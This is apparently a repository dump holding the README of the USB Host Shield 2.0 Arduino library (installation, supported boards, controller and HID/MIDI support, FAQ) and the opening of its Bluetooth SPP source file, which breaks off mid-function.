href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_donations&amp;business=donate@circuitsathome.com&amp;lc=US&amp;item_name=Donate%20to%20the%20USB%20Host%20Library%20project&amp;no_note=0&amp;currency_code=USD&amp;bn=PP%2dDonationsBF%3abtn_donate_LG%2egif%3aNonHostedGuest\"><img src=\"https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif\" alt=\"PayPal - The safer, easier way to pay online!\" /></a>\n\n# Table of Contents\n\n* [How to include the library](#how-to-include-the-library)\n    * [Arduino Library Manager](#arduino-library-manager)\n    * [Manual installation](#manual-installation)\n* [How to use the library](#how-to-use-the-library)\n    * [Documentation](#documentation)\n    * [Enable debugging](#enable-debugging)\n    * [Boards](#boards)\n    * [Bluetooth libraries](#bluetooth-libraries)\n    * [BTHID library](#bthid-library)\n    * [SPP library](#spp-library)\n    * [PS4 Library](#ps4-library)\n    * [PS3 Library](#ps3-library)\n    * [Xbox Libraries](#xbox-libraries)\n        * [Xbox library](#xbox-library)\n        * [Xbox 360 Library](#xbox-360-library)\n        * [Xbox ONE Library](#xbox-one-library)\n    * [Wii library](#wii-library)\n    * [PS Buzz Library](#ps-buzz-library)\n    * [HID Libraries](#hid-libraries)\n    * [MIDI Library](#midi-library)\n* [Interface modifications](#interface-modifications)\n* [FAQ](#faq)\n\n# How to include the library\n\n### Arduino Library Manager\n\nFirst install Arduino IDE version 1.6.2 or newer, then simply use the Arduino Library Manager to install the library.\n\nPlease see the following page for instructions: <http://www.arduino.cc/en/Guide/Libraries#toc3>.\n\n### Manual installation\n\nFirst download the library by clicking on the following link: <https://github.com/felis/USB_Host_Shield_2.0/archive/master.zip>.\n\nThen uncompress the zip folder and rename the directory to \"USB\\_Host\\_Shield\\_20\", as any special characters are not supported by the Arduino IDE.\n\nNow open up the Arduino IDE and open \"File>Preferences\". There you will see the location of your sketchbook. Open that directory and create a directory called \"libraries\" inside that directory.\nNow move the \"USB\\_Host\\_Shield\\_20\" directory to the \"libraries\" directory.\n\nThe final structure should look like this:\n\n* Arduino/\n    * libraries/\n        * USB\\_Host\\_Shield\\_20/\n\nNow quit the Arduino IDE and reopen it.\n\nNow you should be able to go open all the examples codes by navigating to \"File>Examples>USB\\_Host\\_Shield\\_20\" and then select the example you will like to open.\n\nFor more information visit the following sites: <http://arduino.cc/en/Guide/Libraries> and <https://learn.adafruit.com/adafruit-all-about-arduino-libraries-install-use>.\n\n# How to use the library\n\n### Documentation\n\nDocumentation for the library can be found at the following link: <http://felis.github.com/USB_Host_Shield_2.0/>.\n\n### Enable debugging\n\nBy default serial debugging is disabled. To turn it on simply change ```ENABLE_UHS_DEBUGGING``` to 1 in [settings.h](settings.h) like so:\n\n```C++\n#define ENABLE_UHS_DEBUGGING 1\n```\n\n### Boards\n\nCurrently the following boards are supported by the library:\n\n* All official Arduino AVR boards (Uno, Duemilanove, Mega, Mega 2560, Mega ADK, Leonardo etc.)\n* Arduino Due, Intel Galileo, Intel Galileo 2, and Intel Edison\n    * Note that the Intel Galileo uses pin 2 and 3 as INT and SS pin respectively by default, so some modifications to the shield are needed. See the \"Interface modifications\" section in the [hardware manual](https://www.circuitsathome.com/usb-host-shield-hardware-manual) for more information.\n    * Note native USB host is not supported on any of these platforms. You will have to use the shield for now.\n* Teensy (Teensy++ 1.0, Teensy 2.0, Teensy++ 2.0, Teensy 3.x, and Teensy LC)\n    * Note if you are using the Teensy 3.x you should download this SPI library as well: <https://github.com/xxxajk/spi4teensy3>. You should then add ```#include <spi4teensy3.h>``` to your .ino file.\n* Balanduino\n* Sanguino\n* Black Widdow\n* RedBearLab nRF51822\n* Digilent chipKIT\n    * Please see: <http://www.circuitsathome.com/mcu/usb/running-usb-host-code-on-digilent-chipkit-board>.\n* STM32F4\n    * Currently the [NUCLEO-F446RE](http://www.st.com/web/catalog/tools/FM116/SC959/SS1532/LN1847/PF262063) is supported featuring the STM32F446. Take a look at the following example code: <https://github.com/Lauszus/Nucleo_F446RE_USBHost>.\n* ESP8266 is supported using the [ESP8266 Arduino core](https://github.com/esp8266/Arduino)\n    * Note it uses pin 15 and 5 for SS and INT respectively\n    * Also please be aware that:\n      * GPIO16 is **NOT** usable, as it will be used for some other purposes. For example, reset the SoC itself from sleep mode.\n      * GPIO6 to 11 is also **NOT** usable, as they are used to connect SPI flash chip and it is used for storing the executable binary content.\n* ESP32 is supported using the [arduino-esp32](https://github.com/espressif/arduino-esp32/)\n    * GPIO5 : SS, GPIO17 : INT, GPIO18 : SCK, GPIO19 : MISO, GPIO23 : MOSI\n\nThe following boards need to be activated manually in [settings.h](settings.h):\n\n* Arduino Mega ADK\n    * If you are using Arduino 1.5.5 or newer there is no need to activate the Arduino Mega ADK manually\n* Black Widdow\n\nSimply set the corresponding value to 1 instead of 0.\n\n### [Bluetooth libraries](BTD.cpp)\n\nThe [BTD library](BTD.cpp) is a general purpose library for an ordinary Bluetooth dongle.\nThis library make it easy to add support for different Bluetooth services like a PS3 or a Wii controller or SPP which is a virtual serial port via Bluetooth.\nSome different examples can be found in the [example directory](examples/Bluetooth).\n\nThe BTD library also makes it possible to use multiple services at once, the following example sketch is an example of this:\n[PS3SPP.ino](examples/Bluetooth/PS3SPP/PS3SPP.ino).\n\n### [BTHID library](BTHID.cpp)\n\nThe [Bluetooth HID library](BTHID.cpp) allows you to connect HID devices via Bluetooth to the USB Host Shield.\n\nCurrently HID mice and keyboards are supported.\n\nIt uses the standard Boot protocol by default, but it is also able to use the Report protocol as well. You would simply have to call ```setProtocolMode()``` and then parse ```HID_RPT_PROTOCOL``` as an argument. You will then have to modify the parser for your device. See the example: [BTHID.ino](examples/Bluetooth/BTHID/BTHID.ino) for more information.\n\nThe [PS4 library](#ps4-library) also uses this class to handle all Bluetooth communication.\n\nFor information see the following blog post: <http://blog.tkjelectronics.dk/2013/12/bluetooth-hid-devices-now-supported-by-the-usb-host-library/>.\n\n### [SPP library](SPP.cpp)\n\nSPP stands for \"Serial Port Profile\" and is a Bluetooth protocol that implements a virtual comport which allows you to send data back and forth from your computer/phone to your Arduino via Bluetooth.\nIt has been tested successfully on Windows, Mac OS X, Linux, and Android.\n\nTake a look at the [SPP.ino](examples/Bluetooth/SPP/SPP.ino) example for more information.\n\nMore information can be found at these blog posts:\n\n* <http://www.circuitsathome.com/mcu/bluetooth-rfcommspp-service-support-for-usb-host-2-0-library-released>\n* <http://blog.tkjelectronics.dk/2012/07/rfcommspp-library-for-arduino/>\n\nTo implement the SPP protocol I used a Bluetooth sniffing tool called [PacketLogger](http://www.tkjelectronics.com/uploads/PacketLogger.zip) developed by Apple.\nIt enables me to see the Bluetooth communication between my Mac and any device.\n\n### PS4 Library\n\nThe PS4BT library is split up into the [PS4BT](PS4BT.h) and the [PS4USB](PS4USB.h) library. These allow you to use the Sony PS4 controller via Bluetooth and USB.\n\nThe [PS4BT.ino](examples/Bluetooth/PS4BT/PS4BT.ino) and [PS4USB.ino](examples/PS4USB/PS4USB.ino) examples shows how to easily read the buttons, joysticks, touchpad and IMU on the controller via Bluetooth and USB respectively. It is also possible to control the rumble and light on the controller and get the battery level.\n\nBefore you can use the PS4 controller via Bluetooth you will need to pair with it.\n\nSimply create the PS4BT instance like so: ```PS4BT PS4(&Btd, PAIR);``` and then hold down the Share button and then hold down the PS without releasing the Share button. The PS4 controller will then start to blink rapidly indicating that it is in pairing mode.\n\nIt should then automatically pair the dongle with your controller. This only have to be done once.\n\nFor information see the following blog post: <http://blog.tkjelectronics.dk/2014/01/ps4-controller-now-supported-by-the-usb-host-library/>.\n\nAlso check out this excellent Wiki by Frank Zhao about the PS4 controller: <http://eleccelerator.com/wiki/index.php?title=DualShock_4> and this Linux driver: <https://github.com/chrippa/ds4drv>.\n\n### PS3 Library\n\nThese libraries consist of the [PS3BT](PS3BT.cpp) and [PS3USB](PS3USB.cpp). These libraries allows you to use a Dualshock 3, Navigation or a Motion controller with the USB Host Shield both via Bluetooth and USB.\n\nIn order to use your Playstation controller via Bluetooth you have to set the Bluetooth address of the dongle internally to your PS3 Controller. This can be achieved by first plugging in the Bluetooth dongle and wait a few seconds. Now plug in the controller via USB and wait until the LEDs start to flash. The library has now written the Bluetooth address of the dongle to the PS3 controller.\n\nFinally simply plug in the Bluetooth dongle again and press PS on the PS3 controller. After a few seconds it should be connected to the dongle and ready to use.\n\n__Note:__ You will have to plug in the Bluetooth dongle before connecting the controller, as the library needs to read the address of the dongle. Alternatively you could set it in code like so: [PS3BT.ino#L20](examples/Bluetooth/PS3BT/PS3BT.ino#L20).\n\nFor more information about the PS3 protocol see the official wiki: <https://github.com/felis/USB_Host_Shield_2.0/wiki/PS3-Information>.\n\nAlso take a look at the blog posts:\n\n* <http://blog.tkjelectronics.dk/2012/01/ps3-controller-bt-library-for-arduino/>\n* <http://www.circuitsathome.com/mcu/sony-ps3-controller-support-added-to-usb-host-library>\n* <http://www.circuitsathome.com/mcu/arduino/interfacing-ps3-controllers-via-usb>\n\nA special thanks go to the following people:\n\n1. _Richard Ibbotson_ who made this excellent guide: <http://www.circuitsathome.com/mcu/ps3-and-wiimote-game-controllers-on-the-arduino-host-shield-part>\n2. _Tomoyuki Tanaka_ for releasing his code for the Arduino USB Host shield connected to the wiimote: <http://www.circuitsathome.com/mcu/rc-car-controlled-by-wii-remote-on-arduino>\n\nAlso a big thanks all the people behind these sites about the Motion controller:\n\n* <http://thp.io/2010/psmove/>\n* <http://www.copenhagengamecollective.org/unimove/>\n* <https://github.com/thp/psmoveapi>\n* <http://code.google.com/p/moveonpc/>\n\n### Xbox Libraries\n\nThe library supports both the original Xbox controller via USB and the Xbox 360 controller both via USB and wirelessly.\n\n#### Xbox library\n\nThe [XBOXOLD](XBOXOLD.cpp) class implements support for the original Xbox controller via USB.\n\nAll the information are from the following sites:\n\n* <https://github.com/torvalds/linux/blob/master/Documentation/input/xpad.txt>\n* <https://github.com/torvalds/linux/blob/master/drivers/input/joystick/xpad.c>\n* <http://euc.jp/periphs/xbox-controller.ja.html>\n* <https://github.com/Grumbel/xboxdrv/blob/master/PROTOCOL#L15>\n\n#### Xbox 360 Library\n\nThe library support one Xbox 360 via USB or up to four Xbox 360 controllers wirelessly by using a [Xbox 360 wireless receiver](http://blog.tkjelectronics.dk/wp-content/uploads/xbox360-wireless-receiver.jpg).\n\nTo use it via USB use the [XBOXUSB](XBOXUSB.cpp) library or to use it wirelessly use the [XBOXRECV](XBOXRECV.cpp) library.\n\n__Note that a Wireless controller can NOT be used via USB!__\n\nExamples code can be found in the [examples directory](examples/Xbox).\n\nAlso see the following blog posts:\n\n* <http://www.circuitsathome.com/mcu/xbox360-controller-support-added-to-usb-host-shield-2-0-library>\n* <http://blog.tkjelectronics.dk/2012/07/xbox-360-controller-support-added-to-the-usb-host-library/>\n* <http://blog.tkjelectronics.dk/2012/12/xbox-360-receiver-added-to-the-usb-host-library/>\n\nAll the information regarding the Xbox 360 controller protocol are form these sites:\n\n* <http://tattiebogle.net/index.php/ProjectRoot/Xbox360Controller/UsbInfo>\n* <http://tattiebogle.net/index.php/ProjectRoot/Xbox360Controller/WirelessUsbInfo>\n* <https://github.com/Grumbel/xboxdrv/blob/master/PROTOCOL>\n\n#### Xbox ONE Library\n\nAn Xbox ONE controller is supported via USB in the [XBOXONE](XBOXONE.cpp) class. It is heavily based on the 360 library above. In addition to cross referencing the above, information on the protocol was found at:\n\n* <https://github.com/quantus/xbox-one-controller-protocol>\n* <https://github.com/torvalds/linux/blob/master/drivers/input/joystick/xpad.c>\n* <https://github.com/kylelemons/xbox/blob/master/xbox.go>\n\n### [Wii library](Wii.cpp)\n\nThe [Wii](Wii.cpp) library support the Wiimote, but also the Nunchuch and Motion Plus extensions via Bluetooth. The Wii U Pro Controller and Wii Balance Board are also supported via Bluetooth.\n\nFirst you have to pair with the controller, this is done automatically by the library if you create the instance like so:\n\n```C++\nWII Wii(&Btd, PAIR);\n```\n\nAnd then press 1 & 2 at once on the Wiimote or the SYNC buttons if you are using a Wii U Pro Controller or a Wii Balance Board.\n\nAfter that you can simply create the instance like so:\n\n```C++\nWII Wii(&Btd);\n```\n\nThen just press any button on the Wiimote and it will then connect to the dongle.\n\nTake a look at the example for more information: [Wii.ino](examples/Bluetooth/Wii/Wii.ino).\n\nAlso take a look at the blog post:\n\n* <http://blog.tkjelectronics.dk/2012/08/wiimote-added-to-usb-host-library/>\n\nThe Wii IR camera can also be used, but you will have to activate the code for it manually as it is quite large. Simply set ```ENABLE_WII_IR_CAMERA``` to 1 in [settings.h](settings.h).\n\nThe [WiiIRCamera.ino](examples/Bluetooth/WiiIRCamera/WiiIRCamera.ino) example shows how it can be used.\n\nAll the information about the Wii controllers are from these sites:\n\n* <http://wiibrew.org/wiki/Wiimote>\n* <http://wiibrew.org/wiki/Wiimote/Extension_Controllers>\n* <http://wiibrew.org/wiki/Wiimote/Extension_Controllers/Nunchuck>\n* <http://wiibrew.org/wiki/Wiimote/Extension_Controllers/Wii_Motion_Plus>\n* <http://wiibrew.org/wiki/Wii_Balance_Board>\n* The old library created by _Tomoyuki Tanaka_: <https://github.com/moyuchin/WiiRemote_on_Arduino> also helped a lot.\n\n### [PS Buzz Library](PSBuzz.cpp)\n\nThis library implements support for the Playstation Buzz controllers via USB.\n\nIt is essentially just a wrapper around the [HIDUniversal](hiduniversal.cpp) which takes care of the initializing and reading of the controllers. The [PSBuzz](PSBuzz.cpp) class simply inherits this and parses the data, so it is easy for users to read the buttons and turn the big red button on the controllers on and off.\n\nThe example [PSBuzz.ino](examples/PSBuzz/PSBuzz.ino) shows how one can do this with just a few lines of code.\n\nMore information about the controller can be found at the following sites:\n\n* http://www.developerfusion.com/article/84338/making-usb-c-friendly/\n* https://github.com/torvalds/linux/blob/master/drivers/hid/hid-sony.c\n\n### HID Libraries\n\nHID devices are also supported by the library. However these require you to write your own driver. A few example are provided in the [examples/HID](examples/HID) directory. Including an example for the [SteelSeries SRW-S1 Steering Wheel](examples/HID/SRWS1/SRWS1.ino).\n\n### [MIDI Library](usbh_midi.cpp)\n\nThe library support MIDI devices.\nYou can convert USB MIDI keyboard to legacy serial MIDI.\n\n* [USB_MIDI_converter.ino](examples/USBH_MIDI/USB_MIDI_converter/USB_MIDI_converter.ino)\n* [USB_MIDI_converter_multi.ino](examples/USBH_MIDI/USB_MIDI_converter_multi/USB_MIDI_converter_multi.ino)\n\nFor information see the following page: <http://yuuichiakagawa.github.io/USBH_MIDI/>.\n\n# Interface modifications\n\nThe shield is using SPI for communicating with the MAX3421E USB host controller. It uses the SCK, MISO and MOSI pins via the ICSP on your board.\n\nNote this means that it uses pin 13, 12, 11 on an Arduino Uno, so these pins can not be used for anything else than SPI communication!\n\nFurthermore it uses one pin as SS and one INT pin. These are by default located on pin 10 and 9 respectively. They can easily be reconfigured in case you need to use them for something else by cutting the jumper on the shield and then solder a wire from the pad to the new pin.\n\nAfter that you need modify the following entry in [UsbCore.h](UsbCore.h):\n\n```C++\ntypedef MAX3421e<P10, P9> MAX3421E;\n```\n\nFor instance if you have rerouted SS to pin 7 it should read:\n\n```C++\ntypedef MAX3421e<P7, P9> MAX3421E;\n```\n\nSee the \"Interface modifications\" section in the [hardware manual](https://www.circuitsathome.com/usb-host-shield-hardware-manual) for more information.\n\n# FAQ\n\n> When I plug my device into the USB connector nothing happens?\n\n* Try to connect a external power supply to the Arduino - this solves the problem in most cases.\n* You can also use a powered hub between the device and the USB Host Shield. You should then include the USB hub library: ```#include <usbhub.h>``` and create the instance like so: ```USBHub Hub1(&Usb);```.\n\n> When I connecting my PS3 controller I get a output like this:\n\n```\nDualshock 3 Controller Enabled\n\nLeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0\nLeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0\nLeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0\nLeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0\nLeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0\n```\n\n* This means that your dongle does not support 2.0+EDR, so you will need another dongle. Please see the following [list](https://github.com/felis/USB_Host_Shield_2.0/wiki/Bluetooth-dongles) for tested working dongles.\n\n> When compiling I am getting the following error: \"fatal error: SPI.h: No such file or directory\".\n\n* Please make sure to include the SPI library like so: ```#include <SPI.h>``` in your .ino file.\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/SPP.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"SPP.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report sent to the Arduino\n\n/*\n * CRC (reversed crc) lookup table as calculated by the table generator in ETSI TS 101 369 V6.3.0.\n */\nconst uint8_t rfcomm_crc_table[256] PROGMEM = {/* reversed, 8-bit, poly=0x07 */\n        0x00, 0x91, 0xE3, 0x72, 0x07, 0x96, 0xE4, 0x75, 0x0E, 0x9F, 0xED, 0x7C, 0x09, 0x98, 0xEA, 0x7B,\n        0x1C, 0x8D, 0xFF, 0x6E, 0x1B, 0x8A, 0xF8, 0x69, 0x12, 0x83, 0xF1, 0x60, 0x15, 0x84, 0xF6, 0x67,\n        0x38, 0xA9, 0xDB, 0x4A, 0x3F, 0xAE, 0xDC, 0x4D, 0x36, 0xA7, 0xD5, 0x44, 0x31, 0xA0, 0xD2, 0x43,\n        0x24, 0xB5, 0xC7, 0x56, 0x23, 0xB2, 0xC0, 0x51, 0x2A, 0xBB, 0xC9, 0x58, 0x2D, 0xBC, 0xCE, 0x5F,\n        0x70, 0xE1, 0x93, 0x02, 0x77, 0xE6, 0x94, 0x05, 0x7E, 0xEF, 0x9D, 0x0C, 0x79, 0xE8, 0x9A, 0x0B,\n        0x6C, 0xFD, 0x8F, 0x1E, 0x6B, 0xFA, 0x88, 0x19, 0x62, 0xF3, 0x81, 0x10, 0x65, 0xF4, 0x86, 0x17,\n        0x48, 0xD9, 0xAB, 0x3A, 0x4F, 0xDE, 0xAC, 0x3D, 0x46, 0xD7, 0xA5, 0x34, 0x41, 0xD0, 0xA2, 0x33,\n        0x54, 0xC5, 0xB7, 0x26, 0x53, 0xC2, 0xB0, 0x21, 0x5A, 0xCB, 0xB9, 0x28, 0x5D, 0xCC, 0xBE, 0x2F,\n        0xE0, 0x71, 0x03, 0x92, 0xE7, 0x76, 0x04, 0x95, 0xEE, 0x7F, 0x0D, 0x9C, 0xE9, 0x78, 0x0A, 0x9B,\n        0xFC, 0x6D, 0x1F, 0x8E, 0xFB, 0x6A, 0x18, 0x89, 0xF2, 0x63, 0x11, 0x80, 0xF5, 0x64, 0x16, 0x87,\n        0xD8, 0x49, 0x3B, 0xAA, 0xDF, 0x4E, 0x3C, 0xAD, 0xD6, 0x47, 0x35, 0xA4, 0xD1, 0x40, 0x32, 0xA3,\n        0xC4, 0x55, 0x27, 0xB6, 0xC3, 0x52, 0x20, 0xB1, 0xCA, 0x5B, 0x29, 0xB8, 0xCD, 0x5C, 0x2E, 0xBF,\n        0x90, 0x01, 0x73, 0xE2, 0x97, 0x06, 0x74, 0xE5, 0x9E, 0x0F, 0x7D, 0xEC, 0x99, 0x08, 0x7A, 0xEB,\n        0x8C, 0x1D, 0x6F, 0xFE, 0x8B, 0x1A, 0x68, 0xF9, 0x82, 0x13, 0x61, 0xF0, 0x85, 0x14, 0x66, 0xF7,\n        0xA8, 0x39, 0x4B, 0xDA, 0xAF, 0x3E, 0x4C, 0xDD, 0xA6, 0x37, 0x45, 0xD4, 0xA1, 0x30, 0x42, 0xD3,\n        0xB4, 0x25, 0x57, 0xC6, 0xB3, 0x22, 0x50, 0xC1, 0xBA, 0x2B, 0x59, 0xC8, 0xBD, 0x2C, 0x5E, 0xCF\n};\n\nSPP::SPP(BTD *p, const char* name, const char* pin) :\nBluetoothService(p) // Pointer to BTD class instance - mandatory\n{\n        pBtd->btdName = name;\n        pBtd->btdPin = pin;\n\n        /* Set device cid for the SDP and RFCOMM channelse */\n        sdp_dcid[0] = 0x50; // 0x0050\n        sdp_dcid[1] = 0x00;\n        rfcomm_dcid[0] = 0x51; // 0x0051\n        rfcomm_dcid[1] = 0x00;\n\n        Reset();\n}\n\nvoid SPP::Reset() {\n        connected = false;\n        RFCOMMConnected = false;\n        SDPConnected = false;\n        waitForLastCommand = false;\n        l2cap_sdp_state = L2CAP_SDP_WAIT;\n        l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT;\n        l2cap_event_flag = 0;\n        sppIndex = 0;\n        creditSent = false;\n}\n\nvoid SPP::disconnect() {\n        connected = false;\n        // First the two L2CAP channels has to be disconnected and then the HCI connection\n        if(RFCOMMConnected)\n                pBtd->l2cap_disconnection_request(hci_handle, ++identifier, rfcomm_scid, rfcomm_dcid);\n        if(RFCOMMConnected && SDPConnected)\n                delay(1); // Add delay between commands\n        if(SDPConnected)\n                pBtd->l2cap_disconnection_request(hci_handle, ++identifier, sdp_scid, sdp_dcid);\n        l2cap_sdp_state = L2CAP_DISCONNECT_RESPONSE;\n}\n\nvoid SPP::ACLData(uint8_t* l2capinbuf) {\n        if(!connected) {\n                if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n                        if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == SDP_PSM && !pBtd->sdpConnectionClaimed) {\n                                pBtd->sdpConnectionClaimed = true;\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_sdp_state = L2CAP_SDP_WAIT; // Reset state\n                        } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == RFCOMM_PSM && !pBtd->rfcommConnectionClaimed) {\n                                pBtd->rfcommConnectionClaimed = true;\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT; // Reset state\n                        }\n                }\n        }\n\n        if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok\n                if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U\n                        if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nL2CAP Command Rejected - Reason: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" Data: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[17], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[16], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n#endif\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nL2CAP Connection Request - PSM: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" SCID: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                Notify(PSTR(\" Identifier: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n#endif\n                                if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == SDP_PSM) { // It doesn't matter if it receives another reqeust, since it waits for the channel to disconnect in the L2CAP_SDP_DONE state, and the l2cap_event_flag will be cleared if so\n                                        identifier = l2capinbuf[9];\n                                        sdp_scid[0] = l2capinbuf[14];\n                                        sdp_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST);\n                                } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == RFCOMM_PSM) { // ----- || -----\n                                        identifier = l2capinbuf[9];\n                                        rfcomm_scid[0] = l2capinbuf[14];\n                                        rfcomm_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) {\n                                if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success\n                                        if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nSDP Configuration Complete\"), 0x80);\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS);\n                                        } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nRFCOMM Configuration Complete\"), 0x80);\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) {\n                                if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nSDP Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], sdp_scid);\n                                } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nRFCOMM Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], rfcomm_scid);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) {\n                                if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Request: SDP Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST);\n                                } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Request: RFCOMM Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) {\n                                if(l2capinbuf[12] == sdp_scid[0] && l2capinbuf[13] == sdp_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: SDP Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RESPONSE);\n                                } else if(l2capinbuf[12] == rfcomm_scid[0] && l2capinbuf[13] == rfcomm_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: RFCOMM Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RESPONSE);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_INFORMATION_REQUEST) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nInformation request\"), 0x80);\n#endif\n                                identifier = l2capinbuf[9];\n                                pBtd->l2cap_information_response(hci_handle, identifier, l2capinbuf[12], l2capinbuf[13]);\n                        }\n#ifdef EXTRADEBUG\n                        else {\n                                Notify(PSTR(\"\\r\\nL2CAP Unknown Signaling Command: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[8], 0x80);\n                        }\n#endif\n                } else if(l2capinbuf[6] == sdp_dcid[0] && l2capinbuf[7] == sdp_dcid[1]) { // SDP\n                        if(l2capinbuf[8] == SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST_PDU) {\n                                if(((l2capinbuf[16] << 8 | l2capinbuf[17]) == SERIALPORT_UUID) || ((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000 && (l2capinbuf[18] << 8 | l2capinbuf[19]) == SERIALPORT_UUID)) { // Check if it's sending the full UUID, see: https://www.bluetooth.org/Technical/AssignedNumbers/service_discovery.htm, we will just check the first four bytes\n                                        if(firstMessage) {\n                                                serialPortResponse1(l2capinbuf[9], l2capinbuf[10]);\n                                                firstMessage = false;\n                                        } else {\n                                                serialPortResponse2(l2capinbuf[9], l2capinbuf[10]); // Serialport continuation state\n                                                firstMessage = true;\n                                        }\n                                } else if(((l2capinbuf[16] << 8 | l2capinbuf[17]) == L2CAP_UUID) || ((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000 && (l2capinbuf[18] << 8 | l2capinbuf[19]) == L2CAP_UUID)) {\n                                        if(firstMessage) {\n                                                l2capResponse1(l2capinbuf[9], l2capinbuf[10]);\n                                                firstMessage = false;\n                                        } else {\n                                                l2capResponse2(l2capinbuf[9], l2capinbuf[10]); // L2CAP continuation state\n                                                firstMessage = true;\n                                        }\n       